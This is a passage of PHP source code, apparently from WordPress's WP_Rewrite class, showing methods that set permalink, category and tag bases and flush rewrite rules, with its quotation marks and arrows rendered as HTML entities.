		$this-&gt;extra_permastructs[ $name ] = $args;
	}

	/**
	 * Removes a permalink structure.
	 *
	 * @since 4.5.0
	 *
	 * @param string $name Name for permalink structure.
	 */
	public function remove_permastruct( $name ) {
		unset( $this-&gt;extra_permastructs[ $name ] );
	}

	/**
	 * Removes rewrite rules and then recreate rewrite rules.
	 *
	 * Calls WP_Rewrite::wp_rewrite_rules() after removing the &#039;rewrite_rules&#039; option.
	 * If the function named &#039;save_mod_rewrite_rules&#039; exists, it will be called.
	 *
	 * @since 2.0.1
	 *
	 * @param bool $hard Whether to update .htaccess (hard flush) or just update rewrite_rules option (soft flush). Default is true (hard).
	 */
	public function flush_rules( $hard = true ) {
		static $do_hard_later = null;

		// Prevent this action from running before everyone has registered their rewrites.
		if ( ! did_action( &#039;wp_loaded&#039; ) ) {
			add_action( &#039;wp_loaded&#039;, array( $this, &#039;flush_rules&#039; ) );
			$do_hard_later = ( isset( $do_hard_later ) ) ? $do_hard_later || $hard : $hard;
			return;
		}

		if ( isset( $do_hard_later ) ) {
			$hard = $do_hard_later;
			unset( $do_hard_later );
		}

		$this-&gt;refresh_rewrite_rules();

		/**
		 * Filters whether a &quot;hard&quot; rewrite rule flush should be performed when requested.
		 *
		 * A &quot;hard&quot; flush updates .htaccess (Apache) or web.config (IIS).
		 *
		 * @since 3.7.0
		 *
		 * @param bool $hard Whether to flush rewrite rules &quot;hard&quot;. Default true.
		 */
		if ( ! $hard || ! apply_filters( &#039;flush_rewrite_rules_hard&#039;, true ) ) {
			return;
		}
		if ( function_exists( &#039;save_mod_rewrite_rules&#039; ) ) {
			save_mod_rewrite_rules();
		}
		if ( function_exists( &#039;iis7_save_url_rewrite_rules&#039; ) ) {
			iis7_save_url_rewrite_rules();
		}
	}

	/**
	 * Sets up the object&#039;s properties.
	 *
	 * The &#039;use_verbose_page_rules&#039; object property will be set to true if the
	 * permalink structure begins with one of the following: &#039;%postname%&#039;, &#039;%category%&#039;,
	 * &#039;%tag%&#039;, or &#039;%author%&#039;.
	 *
	 * @since 1.5.0
	 */
	public function init() {
		$this-&gt;extra_rules         = array();
		$this-&gt;non_wp_rules        = array();
		$this-&gt;endpoints           = array();
		$this-&gt;permalink_structure = get_option( &#039;permalink_structure&#039; );
		$this-&gt;front               = substr( $this-&gt;permalink_structure, 0, strpos( $this-&gt;permalink_structure, &#039;%&#039; ) );
		$this-&gt;root                = &#039;&#039;;

		if ( $this-&gt;using_index_permalinks() ) {
			$this-&gt;root = $this-&gt;index . &#039;/&#039;;
		}

		unset( $this-&gt;author_structure );
		unset( $this-&gt;date_structure );
		unset( $this-&gt;page_structure );
		unset( $this-&gt;search_structure );
		unset( $this-&gt;feed_structure );
		unset( $this-&gt;comment_feed_structure );

		$this-&gt;use_trailing_slashes = str_ends_with( $this-&gt;permalink_structure, &#039;/&#039; );

		// Enable generic rules for pages if permalink structure doesn&#039;t begin with a wildcard.
		if ( preg_match( &#039;/^[^%]*%(?:postname|category|tag|author)%/&#039;, $this-&gt;permalink_structure ) ) {
			$this-&gt;use_verbose_page_rules = true;
		} else {
			$this-&gt;use_verbose_page_rules = false;
		}
	}

	/**
	 * Sets the main permalink structure for the site.
	 *
	 * Will update the &#039;permalink_structure&#039; option, if there is a difference
	 * between the current permalink structure and the parameter value. Calls
	 * WP_Rewrite::init() after the option is updated.
	 *
	 * Fires the {@see &#039;permalink_structure_changed&#039;} action once the init call has
	 * processed passing the old and new values
	 *
	 * @since 1.5.0
	 *
	 * @param string $permalink_structure Permalink structure.
	 */
	public function set_permalink_structure( $permalink_structure ) {
		if ( $this-&gt;permalink_structure !== $permalink_structure ) {
			$old_permalink_structure = $this-&gt;permalink_structure;
			update_option( &#039;permalink_structure&#039;, $permalink_structure );

			$this-&gt;init();

			/**
			 * Fires after the permalink structure is updated.
			 *
			 * @since 2.8.0
			 *
			 * @param string $old_permalink_structure The previous permalink structure.
			 * @param string $permalink_structure     The new permalink structure.
			 */
			do_action( &#039;permalink_structure_changed&#039;, $old_permalink_structure, $permalink_structure );
		}
	}

	/**
	 * Sets the category base for the category permalink.
	 *
	 * Will update the &#039;category_base&#039; option, if there is a difference between
	 * the current category base and the parameter value. Calls WP_Rewrite::init()
	 * after the option is updated.
	 *
	 * @since 1.5.0
	 *
	 * @param string $category_base Category permalink structure base.
	 */
	public function set_category_base( $category_base ) {
		if ( get_option( &#039;category_base&#039; ) !== $category_base ) {
			update_option( &#039;category_base&#039;, $category_base );
			$this-&gt;init();
		}
	}

	/**
	 * Sets the tag base for the tag permalink.
	 *
	 * Will update the &#039;tag_base&#039; option, if there is a difference between the
	 * current tag base and the parameter value. Calls WP_Rewrite::init() after
	 * the option is updated.
	 *
	 * @since 2.3.0
	 *
	 * @param string $tag_base Tag permalink structure base.
	 */
	public function set_tag_base( $tag_base ) {
		if ( get_option( &#039;tag_base&#039; ) !== $tag_base ) {
			update_option( &#039;tag_base&#039;, $tag_base );
			$this-&gt;init();
		}
	}

	/**
	 * Constructor - Calls init(), which runs setup.
	 *
	 * @since 1.5.0
	 */
	public function __construct() {
		$this-&gt;init();
	}
}
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